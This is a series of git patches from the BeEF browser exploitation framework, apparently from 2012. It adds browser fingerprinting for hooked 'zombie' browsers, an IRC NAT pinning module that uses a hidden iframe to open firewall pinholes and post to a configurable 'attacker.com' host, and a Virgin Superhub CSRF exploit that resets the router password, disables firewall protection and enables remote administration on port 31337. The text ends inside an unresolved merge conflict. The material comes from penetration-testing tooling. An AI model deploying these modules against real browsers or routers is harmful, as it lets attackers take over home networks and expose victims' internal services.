z<`))@x4IWy*M&}u{8Y66r7s?;;rH|N^EAl;g&J14etnz{92lmZJ9qG6{T$@wY;3t) zTGemPuND>-vOe0F^P`U@=aqF8RtUFaO`76!Z4?_Y3&GzCLNAp13(#8y~;X(h6%@;E5-HB-&@6 zuJ!fxilm^w^ppmQOQ}zGPWR+_4YQJ<^|TL{nx9`l%!n19 ze(LAbZCL=?A09qX+p*(wcbz{sFdOaPKU5nVyR@biS_lvx|N7CdQKeG3CpH0Kxp3h^ z`vQbvRJ(TVUFP-@&CSg*OH{a?XZEPl%7kkF8LD!Bb`}ifYu;}Y=Tds1 zYdp;~aZ1Bs$GG!F=0doV;jzY@;CVsff83*h5<1TV+IA`7z28fd4+m{!lwzCAQJIM|g7{p-E) z&IJJb^m1S}oHg31=hhM6r88&mD2Uq?05q~WjKq^eT^(XZJ6F>KHnLu|f0dR$I z7+W^LRCyD_scT^4M(Saz+_HI)GsY_2w{08MIeEK(*G_)7MSizw({ZDgBl9wcF*Xyzk;Bfm-94U}2Hw%EI9C-tBpu*IxslWW; znP(onm;R}P6Uf)x6(BHf=W+wvLz>J%fT}BH=SqHdXV~<&_)qakGeYayv2z_+zGV_|n_zTbK8lYV(YU_>DRFxr+MX<@t0C z^s~zO;qCQwNBZ*i``Nqu?(_J-nEBGi?n_er`up)-QSz(A@_=jj+vNQD_Vu#0``*mv zG=uy9|Ltp=@}sNeGkyI2{p?w5?L~}=EctE*>Sm(zsIu-*RrR~F>_k%db|&ja zT>99=`_{?$;M(qWobPFD@}08lR(tcElk|gi_S5A1`TFijLH3Gk_R8P&qI>$(&F@oO zY9s7@vh8h@`}X+ubS(A0!|hvh@uRx>^7HwZO!(H?^vc!hH(B}L)96%=@p)|d z&#Uu`ko96E?_Fs0TqOG4>*+pT^<^FV>F4;vtoC;@@rIi8Vk-86PUJ3s@0Y^$w!r=T z{O@ga_G&EkyS(BXeDYg5VaCr2qqx5Dq`}gzw@$>!j_x$wo^}*Tiwb1wD?)H^)?LJ2O(W~>5hvztb z=Qerw!N~ELpZLeY_sPobWP|EkfACL8>|~MaXPxISXXi9*=R9WSIBw`MVDXQc`N*Q` zUZeWWrt3~=_j)7t(8Kw9CGvog=tz+5K}YC6bN>DQ@MKZ<>NQpMk6`OQ zROe8S=~RL3T!!mdi}F(@@R61Ca8UDbTJ(Wg?PPoIa*q7<^zMA1_O6}gJ&*U;*7Kx@ z?N?;(R&V#u&G@r-`uqLtMr!F$m*!5I@qm5y!Ls+ryZO$&@RGRWAbyN|FTZF^_2uA(5u*D+?_%Mnb0(FufL8u5JOdu~H5<><3h|~`+I_SVdD!KGS!5I-e zM8P?s2qVM;XVvgPdkFcHL@GL10S*m39Akxo8n7WrAHHzl!ap1+AVgOfakhgJ7ZkVx zBs9#R#}(~#afKx-^%DX&(xf1gKN3*$ha>)QMgGZ)vx6V} z2;^oOVx)-x8N49*&lZvt;R;I!gp)uJ0wpns2}%s{1SC)JAchA2^fO8qMEJv7M47m- z&Nq?N

ylm@tStztFSA9JH|iQ%5I0kkbfDL9F6I2_-~w2Pr5p>PV~pm_q;wB(UQ{ zpq^wTM>b=Wa?dz6gj0_SZaUGx5dyiO&JZL#q1s3+L;*n)W0WzA1PuA(1Rvb~qe&J+ zbQsMeX*@K|LM~Wv$r@<5p@tk84)kuk{usd|FZ9qr#tK?uI0>&?g)bXi7bsgZq1~(|eLRUH+-Nq8rj8jQ7#ie1(9}UnG1dIex z1cDYfERewg1s^?z1!|OnF^&w4*b|N);_R>(f&NUQOaV6(kO8*+{1C+eZqVVy2z%I& z06MP}mr0!m=)<)Z*Yv}}B~{R2K_qSX?FHNsX;K^rTQ8uG2tD*r1;7KS(TG2qEM<@j vwJ^SbGZkCR3hXR>-p>K=6tKYpiu?e!@Cjv7mjMnSGYRw9hcCYH0RaFzI3Jfs literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 964e586a4..6f7d02f50 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -28,6 +28,8 @@ var ZombiesMgr = function(zombies_tree_lists) { var browser_icon = zombie_array[index]["browser_icon"]; var os_icon = zombie_array[index]["os_icon"]; var os_name = zombie_array[index]["os_name"]; + var hw_name = zombie_array[index]["hw_name"]; + var hw_icon = zombie_array[index]["hw_icon"]; var domain = zombie_array[index]["domain"]; var port = zombie_array[index]["port"]; var has_flash = zombie_array[index]["has_flash"]; @@ -36,11 +38,13 @@ var ZombiesMgr = function(zombies_tree_lists) { text = " "; text+= " "; + text+= " "; text+= ip; balloon_text = "IP: "+ip; balloon_text+= "
Browser: " + browser_name + " " + browser_version; balloon_text+= "
System: " + os_name; + balloon_text+= "
Hardware: " + hw_name; balloon_text+= "
Domain: " + domain + ":" + port; balloon_text+= "
Flash: " + has_flash; balloon_text+= "
Web Sockets: " + has_web_sockets; diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index a896184cb..4251347cd 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -358,6 +358,21 @@ class ShellInterface summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the return values for the os name + hw_name = BD.get(self.targetsession, 'Hardware') + if not hw_name.nil? + encoded_hw_name = CGI.escapeHTML(hw_name) + encoded_hw_name_hash = { 'Hardware' => encoded_hw_name } + + page_name_row = { + 'category' => 'Host', + 'data' => encoded_hw_name_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the return values for the browser name browser_name = BD.get(self.targetsession, 'BrowserName') if not browser_name.nil? From 286d0a18fb72fcf0d269d0c10d724ec4d4e86eff Mon Sep 17 00:00:00 2001 From: bmantra Date: Sun, 24 Jun 2012 19:40:05 +0200 Subject: [PATCH 023/225] nat pinning --- modules/network/nat_pinning_irc/command.js | 68 +++++++++++++++++++++ modules/network/nat_pinning_irc/config.yaml | 25 ++++++++ modules/network/nat_pinning_irc/module.rb | 32 ++++++++++ 3 files changed, 125 insertions(+) create mode 100644 modules/network/nat_pinning_irc/command.js create mode 100644 modules/network/nat_pinning_irc/config.yaml create mode 100644 modules/network/nat_pinning_irc/module.rb diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js new file mode 100644 index 000000000..1d2a136c7 --- /dev/null +++ b/modules/network/nat_pinning_irc/command.js @@ -0,0 +1,68 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var privateip = '<%= @privateip %>'; + var privateport = '<%= @privateport %>'; + var connectto = '<%= @connectto %>'; + + function dot2dec(dot){ + var d = dot.split('.'); + return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]); + } + + //send a request + function send_msg(privateip,privateport,connectto){ + + //create hidden iFrame + var iframe = document.createElement("iframe"); + iframe.setAttribute("id","irc_nat_pinning_<%= @command_id %>"); + iframe.setAttribute("style", "visibility:hidden; width:1px; height: 1px;"); + document.body.appendChild(iframe); + iframe = document.getElementById("irc_nat_pinning_<%= @command_id %>"); + + + //create form + var action = connectto + ":6667/" + var myform = document.createElement("form"); + myform.setAttribute("name", "data"); + myform.setAttribute("method", "post"); + myform.setAttribute("enctype", "multipart/form-data"); + myform.setAttribute("action", action); + iframe.contentWindow.document.body.appendChild(myform); + + //create message, refer Samy Kamkar (http://samy.pl/natpin/) + x = String.fromCharCode(1); + var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n"; + + //create message textarea + var myExt = document.createElement("textarea"); + myExt.setAttribute("id","msg_<%= @command_id %>"); + myExt.setAttribute("name","msg_<%= @command_id %>"); + myform.appendChild(myExt); + + //send message + iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s; + myform.submit(); + alert(s); + + //clean up + setTimeout('document.body.removeChild(document.getElementById("irc_nat_pinning_<%= @command_id %>"));', 15000); + } + + send_msg(privateip,privateport,connectto); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); + +}); diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml new file mode 100644 index 000000000..456404221 --- /dev/null +++ b/modules/network/nat_pinning_irc/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + irc_nat_pinning: + enable: true + category: "Network" + name: "IRC NAT Pinning" + description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted. Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." + authors: ["Bart Leppens"] + target: + working: ["FF"] diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb new file mode 100644 index 000000000..1bac69acd --- /dev/null +++ b/modules/network/nat_pinning_irc/module.rb @@ -0,0 +1,32 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Irc_nat_pinning < BeEF::Core::Command + + def self.options + return [ + {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'}, + {'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'}, + {'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'} + ] + end + + def post_execute + return if @datastore['result'].nil? + + save({'result' => @datastore['result']}) + end + +end From d5acc6409eb73feff5ace32253d55147a4ff02df Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 11:04:19 +0930 Subject: [PATCH 024/225] Added beef.browser.hasPhonegap() Added hasPhonegap() and hasGooglegears() to balloon messages Updated os in module configs from "iPhone" to "iOS" --- core/main/client/browser.js | 15 ++++++ core/main/handlers/browserdetails.rb | 8 ++++ .../admin_ui/controllers/modules/modules.rb | 15 ++++++ .../admin_ui/controllers/panel/panel.rb | 26 +++++----- .../media/javascript/ui/panel/ZombiesMgr.js | 48 ++++++++++--------- extensions/console/lib/shellinterface.rb | 15 ++++++ .../mobilesafari_address_spoofing/config.yaml | 2 +- .../host/detect_google_desktop/config.yaml | 2 +- modules/host/get_system_info/config.yaml | 2 +- modules/host/hook_default_browser/config.yaml | 2 +- modules/host/iphone_tel/config.yaml | 2 +- 11 files changed, 99 insertions(+), 38 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 9a243aad4..2e82f5de6 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -551,6 +551,19 @@ beef.browser = { }, + /** + * Checks if the Phonegap API is available from the hooked domain. + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasJava()) { ... } + */ + hasPhonegap: function() { + var result = false; + try { if (!!device.phonegap) result = true; else result = false; } + catch(e) { result = false; } + return result; + }, + /** * Checks if the zombie has Java installed and enabled. * @return: {Boolean} true or false. @@ -773,6 +786,7 @@ beef.browser = { var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No"; var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No"; var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; + var has_phonegap = (beef.browser.hasPhonegap())? "Yes" : "No"; var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No"; var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No"; var has_activex = (typeof(window.ActiveXObject) != "undefined") ? "Yes":"No"; @@ -799,6 +813,7 @@ beef.browser = { if(java_enabled) details['JavaEnabled'] = java_enabled; if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled if(has_flash) details['HasFlash'] = has_flash + if(has_phonegap) details['HasPhonegap'] = has_phonegap if(has_web_socket) details['HasWebSocket'] = has_web_socket if(has_googlegears) details['HasGoogleGears'] = has_googlegears if(has_activex) details['HasActiveX'] = has_activex; diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 1ca83f165..9a5f27946 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -230,6 +230,14 @@ module BeEF self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection." end + # get and store the yes|no value for HasPhonegap + has_phonegap = get_param(@data['results'], 'HasPhonegap') + if BeEF::Filters.is_valid_yes_no?(has_phonegap) + BD.set(session_id, 'HasPhonegap', has_phonegap) + else + self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection." + end + # get and store the yes|no value for HasGoogleGears has_googlegears = get_param(@data['results'], 'HasGoogleGears') if BeEF::Filters.is_valid_yes_no?(has_googlegears) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 827f6c241..6fce2a02c 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -346,6 +346,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the yes|no value for hasPhonegap + has_phonegap = BD.get(zombie_session, 'hasPhonegap') + if not has_phonegap.nil? + encoded_has_phonegap = CGI.escapeHTML(has_phonegap) + encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap } + + page_name_row = { + 'category' => 'Browser', + 'data' => encoded_has_phonegap_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the yes|no value for HasGoogleGears has_googlegears = BD.get(zombie_session, 'HasGoogleGears') if not has_googlegears.nil? diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 56b6a708c..6c101681a 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -85,17 +85,19 @@ class Panel < BeEF::Extension::AdminUI::HttpController # create a hash of simple hooked browser details def get_simple_hooked_browser_hash(hooked_browser) - browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') - browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') - browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) - os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') - hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) - hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') - domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') - has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') - date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') + browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) + os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) + os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) + hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') + domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') + has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') + has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') + has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears') + has_phonegap = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasPhonegap') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') return { 'session' => hooked_browser.session, @@ -111,6 +113,8 @@ class Panel < BeEF::Extension::AdminUI::HttpController 'hw_name' => hw_name, 'has_flash' => has_flash, 'has_web_sockets' => has_web_sockets, + 'has_googlegears' => has_googlegears, + 'has_phonegap' => has_phonegap, 'date_stamp' => date_stamp } diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 6f7d02f50..e161c8209 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -21,34 +21,38 @@ var ZombiesMgr = function(zombies_tree_lists) { // this is a helper class to create a zombie object from a JSON hash index this.zombieFactory = function(index, zombie_array){ - var ip = zombie_array[index]["ip"]; - var session = zombie_array[index]["session"]; - var browser_name = zombie_array[index]["browser_name"]; - var browser_version = zombie_array[index]["browser_version"]; - var browser_icon = zombie_array[index]["browser_icon"]; - var os_icon = zombie_array[index]["os_icon"]; - var os_name = zombie_array[index]["os_name"]; - var hw_name = zombie_array[index]["hw_name"]; - var hw_icon = zombie_array[index]["hw_icon"]; - var domain = zombie_array[index]["domain"]; - var port = zombie_array[index]["port"]; - var has_flash = zombie_array[index]["has_flash"]; - var has_web_sockets = zombie_array[index]["has_web_sockets"]; - var date_stamp = zombie_array[index]["date_stamp"]; + var ip = zombie_array[index]["ip"]; + var session = zombie_array[index]["session"]; + var browser_name = zombie_array[index]["browser_name"]; + var browser_version = zombie_array[index]["browser_version"]; + var browser_icon = zombie_array[index]["browser_icon"]; + var os_icon = zombie_array[index]["os_icon"]; + var os_name = zombie_array[index]["os_name"]; + var hw_name = zombie_array[index]["hw_name"]; + var hw_icon = zombie_array[index]["hw_icon"]; + var domain = zombie_array[index]["domain"]; + var port = zombie_array[index]["port"]; + var has_flash = zombie_array[index]["has_flash"]; + var has_web_sockets = zombie_array[index]["has_web_sockets"]; + var has_googlegears = zombie_array[index]["has_googlegears"]; + var has_phonegap = zombie_array[index]["has_phonegap"]; + var date_stamp = zombie_array[index]["date_stamp"]; text = " "; text+= " "; text+= " "; text+= ip; - balloon_text = "IP: "+ip; - balloon_text+= "
Browser: " + browser_name + " " + browser_version; - balloon_text+= "
System: " + os_name; - balloon_text+= "
Hardware: " + hw_name; - balloon_text+= "
Domain: " + domain + ":" + port; - balloon_text+= "
Flash: " + has_flash; - balloon_text+= "
Web Sockets: " + has_web_sockets; - balloon_text+= "
Date: " + date_stamp; + balloon_text = "IP: " + ip; + balloon_text+= "
Browser: " + browser_name + " " + browser_version; + balloon_text+= "
System: " + os_name; + balloon_text+= "
Hardware: " + hw_name; + balloon_text+= "
Domain: " + domain + ":" + port; + balloon_text+= "
Flash: " + has_flash; + balloon_text+= "
Web Sockets: " + has_web_sockets; + balloon_text+= "
Google Gears: " + has_googlegears; + balloon_text+= "
Phonegap API: " + has_phonegap; + balloon_text+= "
Date: " + date_stamp; var new_zombie = { 'id' : index, diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 4251347cd..f810c042e 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -550,6 +550,21 @@ class ShellInterface summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the yes|no value for HasPhonegap + has_phonegap = BD.get(self.targetsession, 'HasPhonegap') + if not has_phonegap.nil? + encoded_has_phonegap = CGI.escapeHTML(has_phonegap) + encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap } + + page_name_row = { + 'category' => 'Browser', + 'data' => encoded_has_phonegap_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the yes|no value for HasGoogleGears has_googlegears = BD.get(self.targetsession, 'HasGoogleGears') if not has_googlegears.nil? diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml index b4a20fe33..3aa49f32f 100644 --- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml @@ -24,7 +24,7 @@ beef: target: working: S: - os: ["iPhone"] + os: ["iOS"] not_working: ALL: os: ["All"] diff --git a/modules/host/detect_google_desktop/config.yaml b/modules/host/detect_google_desktop/config.yaml index 4a0d23f18..ba611bf45 100644 --- a/modules/host/detect_google_desktop/config.yaml +++ b/modules/host/detect_google_desktop/config.yaml @@ -24,5 +24,5 @@ beef: target: not_working: ALL: - os: ["iPhone"] + os: ["iOS"] working: ["ALL"] diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml index 802db1695..7902a2381 100644 --- a/modules/host/get_system_info/config.yaml +++ b/modules/host/get_system_info/config.yaml @@ -24,6 +24,6 @@ beef: target: not_working: ALL: - os: ["iPhone", "Macintosh"] + os: ["iOS", "Macintosh"] working: ["O", "FF", "S", "IE"] user_notify: ["C"] diff --git a/modules/host/hook_default_browser/config.yaml b/modules/host/hook_default_browser/config.yaml index 0033717ba..56c276653 100644 --- a/modules/host/hook_default_browser/config.yaml +++ b/modules/host/hook_default_browser/config.yaml @@ -24,6 +24,6 @@ beef: target: not_working: ALL: - os: ["iPhone"] + os: ["iOS"] working: ["All"] user_notify: ["FF", "C"] diff --git a/modules/host/iphone_tel/config.yaml b/modules/host/iphone_tel/config.yaml index d3bb15769..783637ed4 100644 --- a/modules/host/iphone_tel/config.yaml +++ b/modules/host/iphone_tel/config.yaml @@ -24,7 +24,7 @@ beef: target: user_notify: S: - os: ["iPhone"] + os: ["iOS"] not_working: ALL: os: ["All"] From 123b81b2b47ce59c45d6e59e489b342b85a70a77 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 11:18:28 +0930 Subject: [PATCH 025/225] Updated virgin_superhub_csrf module Now disables firewall and enabled remote administration Fixes issue #705 Fixes issue #706 Fixes issue #707 --- .../router/virgin_superhub_csrf/command.js | 18 +++++++++++++++--- .../router/virgin_superhub_csrf/config.yaml | 2 +- .../router/virgin_superhub_csrf/module.rb | 3 ++- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js index 3c84ee315..fb0ed4ca4 100644 --- a/modules/exploits/router/virgin_superhub_csrf/command.js +++ b/modules/exploits/router/virgin_superhub_csrf/command.js @@ -17,17 +17,29 @@ beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; + var port = '<%= @port %>'; - var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [ - {'type':'hidden', 'name':'NetgearPassword', 'value':passwd} , + var virgin_superhub_iframe1 = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [ + {'type':'hidden', 'name':'NetgearPassword', 'value':passwd}, {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} ]); + var virgin_superhub_iframe2 = beef.dom.createIframeXsrfForm(gateway + "goform/RgServices", "POST", [ + {'type':'hidden', 'name':'cbPortScanDetection', 'value':''} + ]); + + var virgin_superhub_iframe3 = beef.dom.createIframeXsrfForm(gateway + "goform/RgVMRemoteManagementRes", "POST", [ + {'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'}, + {'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port} + ]); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { - document.body.removeChild(virgin_superhub_iframe); + document.body.removeChild(virgin_superhub_iframe1); + document.body.removeChild(virgin_superhub_iframe2); + document.body.removeChild(virgin_superhub_iframe3); } setTimeout("cleanup()", 15000); diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml index 8d7a7a3c9..e767d9fef 100644 --- a/modules/exploits/router/virgin_superhub_csrf/config.yaml +++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: ["Exploits", "Router"] name: "Virgin Superhub CSRF" - description: "Attempts to change the admin password on a Virgin Superhub router." + description: "Attempts to enable remote administration, disable the firewall, and change the admin password on a Virgin Superhub router." authors: ["bcoles", "n0x00"] target: working: ["ALL"] diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb index 28684484d..83599490c 100644 --- a/modules/exploits/router/virgin_superhub_csrf/module.rb +++ b/modules/exploits/router/virgin_superhub_csrf/module.rb @@ -18,7 +18,8 @@ class Virgin_superhub_csrf < BeEF::Core::Command def self.options return [ {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'} ] end From 4f6d07bced489356d3262fb8c40adb4b6d9b09a2 Mon Sep 17 00:00:00 2001 From: qswain2 Date: Mon, 25 Jun 2012 22:56:45 -0400 Subject: [PATCH 026/225] Added init call for are --- core/main/client/init.js | 2 ++ core/main/handlers/modules/beefjs.rb | 4 ++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/core/main/client/init.js b/core/main/client/init.js index dfd0f9dcc..83727082f 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -65,12 +65,14 @@ function beef_init() { beef.websocket.start(); beef.net.browser_details(); beef.updater.execute_commands(); + beef.are.init(); beef.logger.start(); } else { beef.net.browser_details(); beef.updater.execute_commands(); + beef.are.init(); beef.updater.check(); beef.logger.start(); } diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 92473876d..aa1fc5694 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -32,9 +32,9 @@ module Modules # @note we load websocket library only if ws server is enabled in config.yalm # check in init.js if config.get("beef.http.websocket.enable") - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js websocket.js ) else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) end # @note construct the beefjs string from file(s) From 8b17643fdc90bf2ed508572185f365c9b58a83dd Mon Sep 17 00:00:00 2001 From: qswain2 Date: Mon, 25 Jun 2012 23:53:43 -0400 Subject: [PATCH 027/225] Merged changes from origin --- core/main/client/init.js | 2 -- core/main/handlers/modules/beefjs.rb | 13 +++++-------- 2 files changed, 5 insertions(+), 10 deletions(-) diff --git a/core/main/client/init.js b/core/main/client/init.js index 83727082f..dfd0f9dcc 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -65,14 +65,12 @@ function beef_init() { beef.websocket.start(); beef.net.browser_details(); beef.updater.execute_commands(); - beef.are.init(); beef.logger.start(); } else { beef.net.browser_details(); beef.updater.execute_commands(); - beef.are.init(); beef.updater.check(); beef.logger.start(); } diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index b2743a1e6..0ad19d01f 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -32,15 +32,12 @@ module Modules # @note we load websocket library only if ws server is enabled in config.yalm # check in init.js if config.get("beef.http.websocket.enable") -<<<<<<< HEAD - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js 